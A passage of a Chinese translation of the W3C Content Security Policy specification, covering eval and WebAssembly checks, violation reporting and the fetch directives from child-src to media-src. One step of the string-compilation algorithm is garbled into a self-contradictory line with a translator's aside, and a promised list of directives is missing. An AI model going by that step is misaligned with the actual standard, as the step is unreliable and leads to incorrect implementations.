      1. 如果 directive导航响应检查在对 navigation requesttypenavigation responsetarget、"response"、policyresponse CSP list自身来源执行时返回 "Allowed",则跳至下一个 directive

      2. 否则,令 violation 为执行 § 2.4.1 为全局对象、策略和指令创建违规对象(基于 null、policydirective名称)的结果。

        注意:我们在此使用 null 作为全局对象,因为尚不存在全局对象:我们尚未处理导航来创建 Document。

      3. violation资源设为 navigation response URL

      4. violation 执行 § 5.5 报告违规

      5. 如果 policy处置方式为 "enforce",则将 result 设为 "Blocked"。

  3. 对于 navigation request策略容器 CSP 列表策略中的每个 policy

    注意:navigation request 上下文中的某些指令(如 frame-ancestors)需要在采取导航行动之前获取响应

    1. 对于 policy 中的每个 directive

      1. 如果 directive导航响应检查在对 navigation requesttypenavigation responsetarget、"source"、policyresponse CSP list自身来源执行时返回 "Allowed",则跳至下一个 directive

      2. 否则,令 violation 为执行 § 2.4.1 为全局对象、策略和指令创建违规对象(基于 navigation request客户端全局对象policydirective名称)的结果。

      3. violation资源设为 navigation request URL

      4. violation 执行 § 5.5 报告违规

      5. 如果 policy处置方式为 "enforce",则将 result 设为 "Blocked"。

  4. 返回 result

4.2.6. 为全局对象运行 CSP 初始化

给定一个全局对象 global,用户代理执行以下步骤以初始化 global 的 CSP。若允许 global,此算法返回 "Allowed",否则返回 "Blocked"。

  1. result 为 "Allowed"。

  2. 对于 globalCSP 列表策略中的每个 policy

    1. 对于 policy 中的每个 directive

      1. globalpolicy 执行 directive初始化算法。如果返回值为 "Blocked",则将 result 设为 "Blocked"。

  3. 返回 result

4.3. 与 WebRTC 集成

行政禁止算法在被调用时会调用 § 4.3.1 RTC 连接是否应为全局对象被阻止?,如果返回 "Blocked",则禁止所有候选项。

4.3.1. RTC 连接是否应为 global 被阻止?

给定一个全局对象 global,若 global 的激活策略阻止 RTC 连接,此算法返回 "Blocked",否则返回 "Allowed"。

  1. result 为 "Allowed"。

  2. 对于 globalCSP 列表策略中的每个 policy

    1. 对于 policy 中的每个 directive

      1. 如果 directiveWebRTC 连接前检查在对 policy 执行时返回 "Allowed",则继续

      2. 否则,令 violation 为执行 § 2.4.1 为全局对象、策略和指令创建违规对象(基于 globalpolicydirective名称)的结果。

      3. violation资源设为 null。

      4. violation 执行 § 5.5 报告违规

      5. 如果 policy处置方式为 "enforce",则将 result 设为 "Blocked"。

  3. 返回 result

4.4. 与 ECMAScript 集成

ECMAScript 定义了一个 HostEnsureCanCompileStrings() 抽象操作,允许宿主环境阻止将字符串编译为 ECMAScript 代码。本文档定义了该抽象操作的一个实现,它会检查相关的 CSP 列表以确定是否应阻止此类编译。

4.4.1. EnsureCSPDoesNotBlockStringCompilation(realm, parameterStrings, bodyString, codeString, compilationType, parameterArgs, bodyArg)

给定一个领域 (realm) realm、字符串列表 parameterStrings、字符串 bodyString、字符串 codeString、枚举 compilationType、ECMAScript 语言值列表 parameterArgs 以及一个 ECMAScript 语言值 bodyArg,若允许字符串编译,此算法正常返回,否则抛出 "EvalError"。

  1. 如果 compilationType 为 "TIMER",则

    1. sourceStringcodeString

  2. 否则:

    1. compilationType 为 "FUNCTION",令 compilationSink 为 "Function",否则为 "eval"。

    2. bodyArg 实现了 TrustedScript,则令 isTrustedtrue,否则为 false

    3. 如果 isTrustedtrue,则

      1. 如果 bodyString 不等于 bodyArg数据,则将 isTrusted 设为 false

    4. 如果 isTrustedtrue,则

      1. 断言:parameterArgs 的大小等于 parameterStrings大小

      2. 对于 0 到 parameterArgs 的大小之间的范围中的每个 index

        1. argparameterArgs[index]。

        2. 如果 arg 实现了 TrustedScript,则

          1. 如果 parameterStrings[index] 不等于 arg数据,则将 isTrusted 设为 false

        3. 否则,将 isTrusted 设为 false

    5. sourceToValidate 为在 realm 中创建的 TrustedScript 对象,若 isTrustedtrue,其数据设为 codeString,否则设为 codeString(此处逻辑为原逻辑映射)。

    6. sourceString 为执行获取可信类型合规字符串算法(使用 TrustedScriptrealmsourceToValidatecompilationSink'script')的结果。

    7. 如果该算法抛出错误,则抛出一个 EvalError

    8. 如果 sourceString 不等于 codeString,则抛出一个 EvalError

  3. result 为 "Allowed"。

  4. globalrealm全局对象

  5. 对于 globalCSP 列表策略中的每个 policy

    1. source-list 为 null。

    2. 如果 policy 包含指令 name 为 "script-src",则将 source-list 设为该指令

      否则,如果 policy 包含指令 name 为 "default-src",则将 source-list 设为该指令的

    3. 如果 source-list 不为 null:

      1. trustedTypesRequired 为执行接收器类型是否需要可信类型?(基于 realm'script'false)的结果。

      2. 如果 trustedTypesRequiredtruesource-list 包含与字符串 "'trusted-types-eval'" 不区分大小写的 ASCII 匹配的源表达式,则跳过以下步骤。

      3. 如果 source-list 包含与字符串 "'unsafe-eval'" 不区分大小写的 ASCII 匹配的源表达式,则跳过以下步骤。

      4. violation 为执行 § 2.4.1 为全局对象、策略和指令创建违规对象(基于 globalpolicy 和 "script-src")的结果。

      5. violation资源设为 "eval"。

      6. 如果 source-list 包含表达式 "'report-sample'",则将 violation样本设为 sourceString 的前 40 个字符组成的子字符串。

      7. violation 执行 § 5.5 报告违规

      8. 如果 policy处置方式为 "enforce",则将 result 设为 "Blocked"。

  6. 如果 result 为 "Blocked",则抛出一个 EvalError 异常。

4.5. 与 WebAssembly 集成

WebAssembly 定义了一个 HostEnsureCanCompileWasmBytes() 抽象操作,允许宿主环境阻止将 WebAssembly 源编译为可执行代码。本文档定义了该抽象操作的一个实现,它会检查相关的 CSP 列表以确定是否应阻止此类编译。

4.5.1. EnsureCSPDoesNotBlockWasmByteCompilationrealm

给定一个领域 (realm) realm,若允许编译,此算法正常返回,否则抛出一个 WebAssembly.CompileError

  1. globalrealm全局对象

  2. result 为 "Allowed"。

  3. 对于 globalCSP 列表策略中的每个 policy

    1. source-list 为 null。

    2. 如果 policy 包含指令 name 为 "script-src",则将 source-list 设为该指令

      否则,如果 policy 包含指令 name 为 "default-src",则将 source-list 设为该指令的

    3. 如果 source-list 不为 null,且不包含与字符串 "'unsafe-eval'" 不区分大小写的 ASCII 匹配的源表达式,也不包含与字符串 "'wasm-unsafe-eval'" 不区分大小写的 ASCII 匹配的源表达式,则:

      1. violation 为执行 § 2.4.1 为全局对象、策略和指令创建违规对象(基于 globalpolicy 和 "script-src")的结果。

      2. violation资源设为 "wasm-eval"。

      3. violation 执行 § 5.5 报告违规

      4. 如果 policy处置方式为 "enforce",则将 result 设为 "Blocked"。

  4. 如果 result 为 "Blocked",则抛出一个 WebAssembly.CompileError 异常。

5. 报告

策略的一条或多条指令被违反时,可能会生成一个 csp 违规报告,并发送到与该策略关联的报告端点。

csp 违规报告报告类型为 "csp-violation"。

csp 违规报告ReportingObserver 可见

dictionary CSPViolationReportBody : ReportBody {
  USVString documentURL;
  USVString? referrer;
  USVString? blockedURL;
  DOMString effectiveDirective;
  DOMString originalPolicy;
  USVString? sourceFile;
  DOMString? sample;
  SecurityPolicyViolationEventDisposition disposition;
  unsigned short statusCode;
  unsigned long? lineNumber;
  unsigned long? columnNumber;
};

当影响脚本类目的地的指令具有 report-sha256report-sha384report-sha512 值,并且获取了一个具有脚本类目的地请求时,将生成一个 csp 哈希报告,并发送到与该策略关联的报告端点。

csp 哈希报告报告类型为 "csp-hash"。

csp 哈希报告ReportingObserver 不可见

csp 哈希报告主体是一个包含以下字段的结构documentURLsubresourceURLhashdestinationtype

当文档的响应包含以下首部时:Reporting-Endpoints: hashes-endpoint="https://example.com/reports" Content-Security-Policy: script-src 'self' 'report-sha256'; report-to hashes-endpoint 并且文档加载脚本 "main.js" 时,将发送一份类似于以下的报告:POST /reports HTTP/1.1 Host: example.com ... Content-Type: application/reports+json [{ "type": "csp-hash", "age": 12, "url": "https://example.com/", "user_agent": "Mozilla/5.0 (X11; Linux i686; rv:132.0) Gecko/20100101 Firefox/132.0", "body": { "document_url": "https://example.com/", "subresource_url": "https://example.com/main.js", "hash": "sha256-85738f8f9a7f1b04b5329c590ebcb9e425925c6d0984089c43a022de4f19c281", "type": "subresource", "destination": "script" } }]

5.1. 违规 DOM 事件
enum SecurityPolicyViolationEventDisposition {
  "enforce", "report"
};

[Exposed=(Window,Worker)]
interface SecurityPolicyViolationEvent : Event {
    constructor(DOMString type, optional SecurityPolicyViolationEventInit eventInitDict = {});
    readonly    attribute USVString      documentURI;
    readonly    attribute USVString      referrer;
    readonly    attribute USVString      blockedURI;
    readonly    attribute DOMString      effectiveDirective;
    readonly    attribute DOMString      violatedDirective; // historical alias of effectiveDirective
    readonly    attribute DOMString      originalPolicy;
    readonly    attribute USVString      sourceFile;
    readonly    attribute DOMString      sample;
    readonly    attribute SecurityPolicyViolationEventDisposition      disposition;
    readonly    attribute unsigned short statusCode;
    readonly    attribute unsigned long  lineNumber;
    readonly    attribute unsigned long  columnNumber;
};

dictionary SecurityPolicyViolationEventInit : EventInit {
    USVString      documentURI = "";
    USVString      referrer = "";
    USVString      blockedURI = "";
    DOMString      violatedDirective = "";
    DOMString      effectiveDirective = "";
    DOMString      originalPolicy = "";
    USVString      sourceFile = "";
    DOMString      sample = "";
    SecurityPolicyViolationEventDisposition disposition = "enforce";
    unsigned short statusCode = 0;
    unsigned long  lineNumber = 0;
    unsigned long  columnNumber = 0;
};

5.2. 获取违规资源blockedURI

给定违规的资源 resource,此算法返回一个字符串,用作违规报告中的 blocked URI 字段。

  1. 断言:resourceURL字符串

  2. 如果 resourceURL,则返回对 resource 执行 § 5.4 剥离 URL 以用于报告的结果。

  3. 返回 resource

5.3. 获取 violation 的已弃用序列化

给定一个违规 violation,此算法返回该违规的 JSON 文本字符串表示,适用于提交给与已弃用的 report-uri 指令关联的报告端点。

  1. body 为一个映射,其键初始化如下:

    "document-uri"

    执行 § 5.4 剥离 URL 以用于报告(基于 violationurl)的结果。

    "referrer"

    执行 § 5.4 剥离 URL 以用于报告(基于 violation引用来源)的结果。

    "blocked-uri"

    执行 § 5.2 获取违规资源的 blockedURI(基于 violation资源)的结果。

    "effective-directive"

    violation有效指令

    "violated-directive"

    violation有效指令

    "original-policy"

    violation策略序列化形式

    "disposition"

    violation策略处置方式

    "status-code"

    violation状态

    "script-sample"

    violation示例

    注意: 选择 script-sample 这个名称是为了兼容该特性的早期迭代,Firefox 自最初实现 CSP 时便已支持该特性。尽管名称如此,但该字段将包含非脚本违规(如样式表)的示例。包含在 SecurityPolicyViolationEvent 对象中以及通过新的 report-to 指令生成的报告中的数据,其命名方式更具包容性:sample

  2. 如果 violation源文件 不为 null

    1. 设置 body["source-file"] 为对 violation源文件 执行 § 5.4 剥离用于报告的 URL 的结果。

    2. 设置 body["line-number"] 为 violation行号

    3. 设置 body["column-number"] 为 violation列号

  3. 断言:如果 body["blocked-uri"] 不为 "inline",则 body["sample"] 为空字符串。

  4. 返回对 «[ "csp-report" → body ]» 执行 将 infra 值序列化为 JSON 字节 的结果。

5.4. 剥离用于报告的 URL

给定一个 URL url,此算法返回一个表示用于违规报告的 URL 的字符串
  1. 如果 url方案 不是 HTTP(S) 方案,则返回 url方案

  2. 设置 url片段 为空字符串。

  3. 设置 url用户名 为空字符串。

  4. 设置 url密码 为空字符串。

  5. 返回对 url 执行 URL 序列化器 的结果。

5.5. 报告 violation

给定一个 违规 violation,此算法将其报告给在 violation策略 中指定的端点,并在 violation元素 上,或如下所述在 violation全局对象 上触发 SecurityPolicyViolationEvent

  1. globalviolation全局对象

  2. targetviolation元素

  3. 排队任务以运行以下步骤

    注意: 我们在此处“排队任务”以确保事件目标确定和分发在 JavaScript 完成导致违规的任务(可能操纵 DOM)执行之后发生。

    1. 如果 target 不为 null,且 globalWindow,且 target包含阴影根的根节点 不是 global关联的 Document,则设置 target 为 null。

      注意: 这确保我们仅在 连接到 violation策略Document 的元素上触发事件。如果违规是由未连接到该文档的元素引起的,我们将会在文档上触发事件,而不是在元素上触发,以确保该违规对文档的监听器可见。

    2. 如果 target 为 null

      1. 设置 targetviolation全局对象

      2. 如果 targetWindow,设置 targettarget关联的 Document

    3. 如果 target 实现EventTarget,则在 target触发一个事件,名为 securitypolicyviolation,使用 SecurityPolicyViolationEvent 接口,并按下述方式初始化其属性

      documentURI

      violationurl 执行 § 5.4 剥离用于报告的 URL 的结果。

      引用页

      violation引用来源 (referrer) 执行 § 5.4 剥离用于报告的 URL 的结果。

      blockedURI

      violation资源 执行 § 5.2 获取违规资源的 blockedURI 的结果。

      effectiveDirective

      violation有效指令

      violatedDirective

      violation有效指令

      originalPolicy

      violation策略序列化形式

      disposition

      violation处置方式

      sourceFile

      如果 violation源文件 不为 null,则为对其执行 § 5.4 剥离用于报告的 URL 的结果;否则为 null。

      statusCode

      violation状态

      lineNumber

      violation行号

      columnNumber

      violation列号

      sample (采样)

      violation示例

      bubbles

      true

      composed

      true

      注意: 我们设置了 composed 属性,这意味着此事件可以在进入阴影树的过程中被捕获,并会冒泡出阴影树。target 等属性将针对主树正确自动范围化。

      注意: effectiveDirectiveviolatedDirective 的值相同。这是为了保持向后兼容性的故意设计。

    4. 如果 violation策略指令集 包含名为 "report-uri" 的 指令 directive

      1. 如果 violation策略指令集 包含名为 "report-to" 的 指令,则跳过剩余子步骤。

      2. 对于 directive 中的每一个 token

        1. endpoint 为以 token 作为输入,以 violationurl 作为 基础 URL,执行 URL 解析器 的结果。

        2. 如果 endpoint 不是有效的 URL,则跳过剩余子步骤。

        3. request 为一个新的 请求,并按下述方式初始化

          method

          "POST"

          url

          endpoint

          origin

          violation全局对象相关设置对象来源 (origin)

          可用于用户提示 (traversable for user prompts)

          "no-traversable"

          客户端

          violation全局对象相关设置对象

          destination

          "report"

          发起者(initiator)

          ""

          credentials mode

          "same-origin"

          keepalive

          "true"

          header list

          包含单个头的头列表,该头的名称为 "Content-Type",值为 "application/csp-report"

          body

          violation 执行 § 5.3 获取违规的弃用序列化形式 的结果

          重定向模式

          "error"

          注意: request模式 默认为 "no-cors";响应会被完全忽略。

        4. 获取 (Fetch) request。结果将被忽略。

      注意: 这一切都应被视为弃用。它为每个违规发送单个请求,这根本无法扩展。一旦此行为能从用户代理中移除,便会被移除。

      注意: report-uri 仅在 report-to 不存在时生效。也就是说,后者覆盖前者,从而允许向后兼容不支持新机制的浏览器。

    5. 如果 violation策略指令集 包含名为 "report-to" 的 指令 directive

      1. body 为一个新的 CSPViolationReportBody,并按下述方式初始化

        documentURL

        violationurl 执行 § 5.4 剥离用于报告的 URL 的结果。

        引用页

        violation引用来源 执行 § 5.4 剥离用于报告的 URL 的结果。

        blockedURL

        violation资源 执行 § 5.2 获取违规资源的 blockedURI 的结果。

        effectiveDirective

        violation有效指令

        originalPolicy

        violation策略序列化形式

        sourceFile

        如果 violation源文件 不为 null,则为对其执行 § 5.4 剥离用于报告的 URL 的结果;否则为 null。

        sample (采样)

        violation示例

        disposition

        violation处置方式

        statusCode

        violation状态

        lineNumber

        如果 violation源文件 不为 null,则为 violation行号;否则为 null。

        columnNumber

        如果 violation源文件 不为 null,则为 violation列号;否则为 null。

      2. settings objectviolation全局对象相关设置对象

      3. 生成并排队报告,参数如下

        context

        设置对象

        type

        "csp-violation"

        destination

        directive

        data

        body

6. 内容安全策略指令

本规范定义了多种类型的 指令,允许开发者控制其站点行为的特定方面。本文档定义了管理资源获取的指令(在 § 6.1 获取指令 中)、管理文档状态的指令(在 § 6.3 文档指令 中)、管理导航方面的指令(在 § 6.4 导航指令 中),以及管理报告的指令(在 § 6.5 报告指令 中)。这些构成了内容安全策略的核心;其他指令以模块化方式在辅助文档中定义(参见 § 6.6 在其他文档中定义的指令 以获取示例)。

为了降低跨站脚本攻击的风险,Web 开发者应当包含规范脚本和插件源的指令。他们可以通过包含以下内容来实现:

无论哪种情况,开发者都不应在其策略中将 'unsafe-inline'data: 作为有效源。两者都会通过允许代码直接包含在文档中来启用 XSS 攻击;最好完全避免使用它们。

6.1. 获取指令

获取指令 控制特定资源类型可从中加载的位置。例如,script-src 允许开发者允许受信任的脚本源在页面上执行,而 font-src 则控制 Web 字体的来源。

6.1.1. child-src

child-src 指令管理 子可导航对象(例如 iframeframe 导航)以及 Worker 执行上下文的创建。指令名称和值的语法由以下 ABNF 描述

directive-name  = "child-src"
directive-value = serialized-source-list

此指令控制将填充框架或 Worker 的 请求。更正式地说,属于以下类别之一的 请求

给定一个具有以下内容安全策略的页面
Content-Security-Policy: child-src https://example.com/

以下代码的获取操作都将返回网络错误,因为所提供的 URL 与 child-src源列表 不匹配

<iframe src="https://example.org"></iframe>
<script>
  var blockedWorker = new Worker("data:application/javascript,...");
</script>
6.1.1.1. child-src 请求前检查

此指令的 请求前检查 如下

给定一个 请求 request、一个 策略 policy 以及一个 来源 (origin) self-origin

  1. name 为对 request 执行 § 6.8.1 获取请求的有效指令 的结果。

  2. 如果对 namechild-srcpolicy 执行 § 6.8.4 获取指令是否应执行 的结果为 "No",则返回 "Allowed"。

  3. 返回对 requestpolicyself-origin 执行 指令(其 名称name)的 请求前检查 的结果,并使用此指令的 进行比较。

6.1.1.2. child-src 请求后检查

此指令的 请求后检查 如下

给定一个 请求 request、一个 响应 response、一个 策略 policy 以及一个 来源 (origin) self-origin

  1. name 为对 request 执行 § 6.8.1 获取请求的有效指令 的结果。

  2. 如果对 namechild-srcpolicy 执行 § 6.8.4 获取指令是否应执行 的结果为 "No",则返回 "Allowed"。

  3. 返回对 requestresponsepolicyself-origin 执行 指令(其 名称name)的 请求后检查 的结果,并使用此指令的 进行比较。

6.1.2. connect-src

The connect-src 指令限制可以使用脚本接口加载的 URL。指令名称和值的语法由以下 ABNF 描述

directive-name  = "connect-src"
directive-value = serialized-source-list

此指令控制与其它源传输或接收数据的 请求。这包括 fetch()[XHR][EVENTSOURCE][BEACON] 以及 a 元素的 ping 等 API。此指令控制 WebSocket [WEBSOCKETS] 连接,尽管这些连接在技术上不属于 Fetch。

JavaScript 提供了几种直接连接到外部服务器以发送或接收信息的机制。EventSource 维持与服务器的开放 HTTP 连接以接收推送通知,WebSockets 在您的浏览器和服务器之间打开双向通信通道,而 XMLHttpRequest 代表您发出任意 HTTP 请求。这些是强大的 API,实现了有用的功能,但也为数据外泄提供了诱人的途径。

connect-src 指令允许您确保这些及类似连接仅打开到您信任的源。发送一个为此指令定义源表达式列表的策略非常简单。例如,要将连接仅限于 https://example.com,请发送以下头

Content-Security-Policy: connect-src https://example.com/

以下代码的获取操作都将返回网络错误,因为所提供的 URL 与 connect-src源列表 不匹配

<a ping="https://example.org">...
<script>
  var xhr = new XMLHttpRequest();
  xhr.open('GET', 'https://example.org/');
  xhr.send();

  var ws = new WebSocket("wss://example.org/");

  var es = new EventSource("https://example.org/");

  navigator.sendBeacon("https://example.org/", { ... });
</script>
6.1.2.1. connect-src 请求前检查

此指令的 请求前检查 如下

给定一个 请求 request、一个 策略 policy 以及一个 来源 (origin) self-origin

  1. name 为对 request 执行 § 6.8.1 获取请求的有效指令 的结果。

  2. 如果对 nameconnect-srcpolicy 执行 § 6.8.4 获取指令是否应执行 的结果为 "No",则返回 "Allowed"。

  3. source list 为指令的

  4. 如果 request模式 为 "webtransport" 且 requestWebTransport 哈希列表 不为空

    1. 如果 source list 包含 一个 源表达式,该表达式是与 keyword-source "'unsafe-webtransport-hashes'" 的 ASCII 大小写不敏感 匹配,则返回 "Allowed"。

    2. 返回 "Blocked"。

  5. 如果对 requestsource listself-origin 执行 § 6.7.2.5 请求是否匹配源列表? 的结果为 "Matches",则返回 "Allowed"。

  6. 返回 "Blocked"。

6.1.2.2. connect-src 请求后检查

此指令的 请求后检查 如下

给定一个 请求 request、一个 响应 response、一个 策略 policy 以及一个 来源 (origin) self-origin

  1. name 为对 request 执行 § 6.8.1 获取请求的有效指令 的结果。

  2. 如果对 nameconnect-srcpolicy 执行 § 6.8.4 获取指令是否应执行 的结果为 "No",则返回 "Allowed"。

  3. source list 为指令的

  4. 如果 request模式 为 "webtransport" 且 requestWebTransport 哈希列表 不为空

    1. 如果 source list 包含 一个 源表达式,该表达式是与 keyword-source "'unsafe-webtransport-hashes'" 的 ASCII 大小写不敏感 匹配,则返回 "Allowed"。

    2. 返回 "Blocked"。

  5. 如果对 responserequestsource listself-origin 执行 § 6.7.2.6 响应对请求是否匹配源列表? 的结果为 "Matches",则返回 "Allowed"。

  6. 返回 "Blocked"。

6.1.3. default-src

The default-src 指令用作其他 获取指令 的回退。指令名称和值的语法由以下 ABNF 描述

directive-name  = "default-src"
directive-value = serialized-source-list

如果策略中存在 default-src 指令,其值将用作该策略的默认源列表。也就是说,给定 default-src 'none'; script-src 'self',脚本请求将使用 'self' 作为其匹配的 源列表。其他请求将使用 'none'。这在 § 4.1.2 请求是否应被内容安全策略阻止?§ 4.1.3 响应对请求是否应被内容安全策略阻止? 算法中进行了更详细的阐述。

资源提示(例如 prefetchpreconnect)生成的请求不会与任何特定的 获取指令 绑定,而是受策略所有指令的 源列表 中允许的服务器并集的约束。如果未指定 default-src,则这些请求将始终被允许。有关更多信息,请参阅 § 8.6 外泄[HTML]
以下头
Content-Security-Policy: default-src 'self'

将与以下头具有相同的行为

Content-Security-Policy: connect-src 'self';
                         font-src 'self';
                         frame-src 'self';
                         img-src 'self';
                         manifest-src 'self';
                         media-src 'self';
                         object-src 'self';
                         script-src-elem 'self';
                         script-src-attr 'self';
                         style-src-elem 'self';
                         style-src-attr 'self';
                         worker-src 'self'

也就是说,当设置了 default-src 时,每个未明确设置的 获取指令 都将回退到 default-src 指定的值。

不存在继承。例如,如果明确指定了 script-src 指令,则 default-src 的值对脚本请求没有影响。也就是说,以下头
Content-Security-Policy: default-src 'self'; script-src-elem https://example.com

将与以下头具有相同的行为

Content-Security-Policy: connect-src 'self';
                         font-src 'self';
                         frame-src 'self';
                         img-src 'self';
                         manifest-src 'self';
                         media-src 'self';
                         object-src 'self';
                         script-src-elem https://example.com;
                         script-src-attr 'self';
                         style-src-elem 'self';
                         style-src-attr 'self';
                         worker-src 'self'

鉴于这种行为,构建站点策略的一种好方法是从 default-src'none' 开始,并从那里构建一个策略,仅允许该策略将要应用的特定页面所需的那些资源类型。

6.1.3.1. default-src 请求前检查

此指令的 请求前检查 如下

给定一个 请求 request、一个 策略 policy 以及一个 来源 (origin) self-origin

  1. name 为对 request 执行 § 6.8.1 获取请求的有效指令 的结果。

  2. 如果对 namedefault-srcpolicy 执行 § 6.8.4 获取指令是否应执行 的结果为 "No",则返回 "Allowed"。

  3. 返回对 requestpolicyself-origin 执行 指令(其 名称name)的 请求前检查 的结果,并使用此指令的 进行比较。

6.1.3.2. default-src 请求后检查

此指令的 请求后检查 如下

给定一个 请求 request、一个 响应 response、一个 策略 policy 以及一个 来源 (origin) self-origin

  1. name 为对 request 执行 § 6.8.1 获取请求的有效指令 的结果。

  2. 如果对 namedefault-srcpolicy 执行 § 6.8.4 获取指令是否应执行 的结果为 "No",则返回 "Allowed"。

  3. 返回对 requestresponsepolicyself-origin 执行 指令(其 名称name)的 请求后检查 的结果,并使用此指令的 进行比较。

6.1.3.3. default-src 内联检查

此指令的 内联检查 算法如下

给定一个 Element element、一个字符串 type、一个 策略 policy 和一个字符串 source

  1. name 为对 type 执行 § 6.8.2 获取内联检查的有效指令 的结果。

  2. 如果对 namedefault-srcpolicy 执行 § 6.8.4 获取指令是否应执行 的结果为 "No",则返回 "Allowed"。

  3. 否则,返回对 elementtypepolicysource 执行 指令(其 名称name)的 内联检查 的结果,并使用此指令的 进行比较。

6.1.4. font-src

The font-src 指令限制了可以加载字体资源的 URL。指令名称和值的语法由以下 ABNF 描述

directive-name  = "font-src"
directive-value = serialized-source-list
给定一个具有以下内容安全策略的页面
Content-Security-Policy: font-src https://example.com/

以下代码的获取操作将返回网络错误,因为所提供的 URL 与 font-src源列表 不匹配

<style>
  @font-face {
    font-family: "Example Font";
    src: url("https://example.org/font");
  }
  body {
    font-family: "Example Font";
  }
</style>
6.1.4.1. font-src 请求前检查

此指令的 请求前检查 如下

给定一个 请求 request、一个 策略 policy 以及一个 来源 (origin) self-origin

  1. name 为对 request 执行 § 6.8.1 获取请求的有效指令 的结果。

  2. 如果对 namefont-srcpolicy 执行 § 6.8.4 获取指令是否应执行 的结果为 "No",则返回 "Allowed"。

  3. 如果对 request、此指令的 self-origin 执行 § 6.7.2.5 请求是否匹配源列表? 的结果为 "Does Not Match",则返回 "Blocked"。

  4. 返回 "Allowed"。

6.1.4.2. font-src 请求后检查

此指令的 请求后检查 如下

给定一个 请求 request、一个 响应 response、一个 策略 policy 以及一个 来源 (origin) self-origin

  1. name 为对 request 执行 § 6.8.1 获取请求的有效指令 的结果。

  2. 如果对 namefont-srcpolicy 执行 § 6.8.4 获取指令是否应执行 的结果为 "No",则返回 "Allowed"。

  3. 如果对 responserequest、此指令的 self-origin 执行 § 6.7.2.6 响应对请求是否匹配源列表? 的结果为 "Does Not Match",则返回 "Blocked"。

  4. 返回 "Allowed"。

6.1.5. frame-src

The frame-src 指令限制了可以加载到 子可导航对象 中的 URL。指令名称和值的语法由以下 ABNF 描述

directive-name  = "frame-src"
directive-value = serialized-source-list
给定一个具有以下内容安全策略的页面
Content-Security-Policy: frame-src https://example.com/

以下代码的获取操作将返回网络错误,因为所提供的 URL 与 frame-src源列表 不匹配

<iframe src="https://example.org/">
</iframe>
6.1.5.1. frame-src 请求前检查

此指令的 请求前检查 如下

给定一个 请求 request、一个 策略 policy 以及一个 来源 (origin) self-origin

  1. name 为对 request 执行 § 6.8.1 获取请求的有效指令 的结果。

  2. 如果对 nameframe-srcpolicy 执行 § 6.8.4 获取指令是否应执行 的结果为 "No",则返回 "Allowed"。

  3. 如果对 request、此指令的 self-origin 执行 § 6.7.2.5 请求是否匹配源列表? 的结果为 "Does Not Match",则返回 "Blocked"。

  4. 返回 "Allowed"。

6.1.5.2. frame-src 请求后检查

此指令的 请求后检查 如下

给定一个 请求 request、一个 响应 response、一个 策略 policy 以及一个 来源 (origin) self-origin

  1. name 为对 request 执行 § 6.8.1 获取请求的有效指令 的结果。

  2. 如果对 nameframe-srcpolicy 执行 § 6.8.4 获取指令是否应执行 的结果为 "No",则返回 "Allowed"。

  3. 如果对 responserequest、此指令的 self-origin 执行 § 6.7.2.6 响应对请求是否匹配源列表? 的结果为 "Does Not Match",则返回 "Blocked"。

  4. 返回 "Allowed"。

6.1.6. img-src

The img-src 指令限制了可以加载图像资源的 URL。指令名称和值的语法由以下 ABNF 描述

directive-name  = "img-src"
directive-value = serialized-source-list

此指令控制加载图像的 请求。更正式地说,这包括 请求,其 目标 (destination) 为 "image" [FETCH]

给定一个具有以下内容安全策略的页面
Content-Security-Policy: img-src https://example.com/

以下代码的获取操作将返回网络错误,因为所提供的 URL 与 img-src源列表 不匹配

<img src="https://example.org/img">
6.1.6.1. img-src 请求前检查

此指令的 请求前检查 如下

给定一个 请求 request、一个 策略 policy 以及一个 来源 (origin) self-origin

  1. name 为对 request 执行 § 6.8.1 获取请求的有效指令 的结果。

  2. 如果对 nameimg-srcpolicy 执行 § 6.8.4 获取指令是否应执行 的结果为 "No",则返回 "Allowed"。

  3. 如果对 request、此指令的 self-origin 执行 § 6.7.2.5 请求是否匹配源列表? 的结果为 "Does Not Match",则返回 "Blocked"。

  4. 返回 "Allowed"。

6.1.6.2. img-src 请求后检查

此指令的 请求后检查 如下

给定一个 请求 request、一个 响应 response、一个 策略 policy 以及一个 来源 (origin) self-origin

  1. name 为对 request 执行 § 6.8.1 获取请求的有效指令 的结果。

  2. 如果对 nameimg-srcpolicy 执行 § 6.8.4 获取指令是否应执行 的结果为 "No",则返回 "Allowed"。

  3. 如果对 responserequest、此指令的 self-origin 执行 § 6.7.2.6 响应对请求是否匹配源列表? 的结果为 "Does Not Match",则返回 "Blocked"。

  4. 返回 "Allowed"。

6.1.7. manifest-src

The manifest-src 指令限制了可以加载应用程序清单的 URL [APPMANIFEST]。指令名称和值的语法由以下 ABNF 描述

directive-name  = "manifest-src"
directive-value = serialized-source-list
给定一个具有以下内容安全策略的页面
Content-Security-Policy: manifest-src https://example.com/

以下代码的获取操作将返回网络错误,因为所提供的 URL 与 manifest-src源列表 不匹配

<link rel="manifest" href="https://example.org/manifest">
6.1.7.1. manifest-src 请求前检查

此指令的 请求前检查 如下

给定一个 请求 request、一个 策略 policy 以及一个 来源 (origin) self-origin

  1. name 为对 request 执行 § 6.8.1 获取请求的有效指令 的结果。

  2. 如果对 namemanifest-srcpolicy 执行 § 6.8.4 获取指令是否应执行 的结果为 "No",则返回 "Allowed"。

  3. 如果对 request、此指令的 self-origin 执行 § 6.7.2.5 请求是否匹配源列表? 的结果为 "Does Not Match",则返回 "Blocked"。

  4. 返回 "Allowed"。

6.1.7.2. manifest-src 请求后检查

此指令的 请求后检查 如下

给定一个 请求 request、一个 响应 response、一个 策略 policy 以及一个 来源 (origin) self-origin

  1. name 为对 request 执行 § 6.8.1 获取请求的有效指令 的结果。

  2. 如果对 namemanifest-srcpolicy 执行 § 6.8.4 获取指令是否应执行 的结果为 "No",则返回 "Allowed"。

  3. 如果对 responserequest、此指令的 self-origin 执行 § 6.7.2.6 响应对请求是否匹配源列表? 的结果为 "Does Not Match",则返回 "Blocked"。

  4. 返回 "Allowed"。

6.1.8. media-src

The media-src 指令限制了可以加载视频、音频和相关文本轨道资源的 URL。指令名称和值的语法由以下 ABNF 描述

directive-name  = "media-src"
directive-value = serialized-source-list
给定一个具有以下内容安全策略的页面
Content-Security-Policy: media-src https://example.com/

以下代码的获取操作将返回网络错误,因为所提供的 URL 与 media-src源列表 不匹配

<audio src="https://example.org/audio"></audio>
<video src="https://example.org/video">
    <track kind="subtitles" src="https://example.org/subtitles">
</video>
6.1.8.1. media-src 请求前检查

此指令的 请求前检查 如下

给定一个 请求 request、一个 策略 policy 以及一个 来源 (origin) self-origin

  1. name 为对 request 执行 § 6.8.1 获取请求的有效指令 的结果。

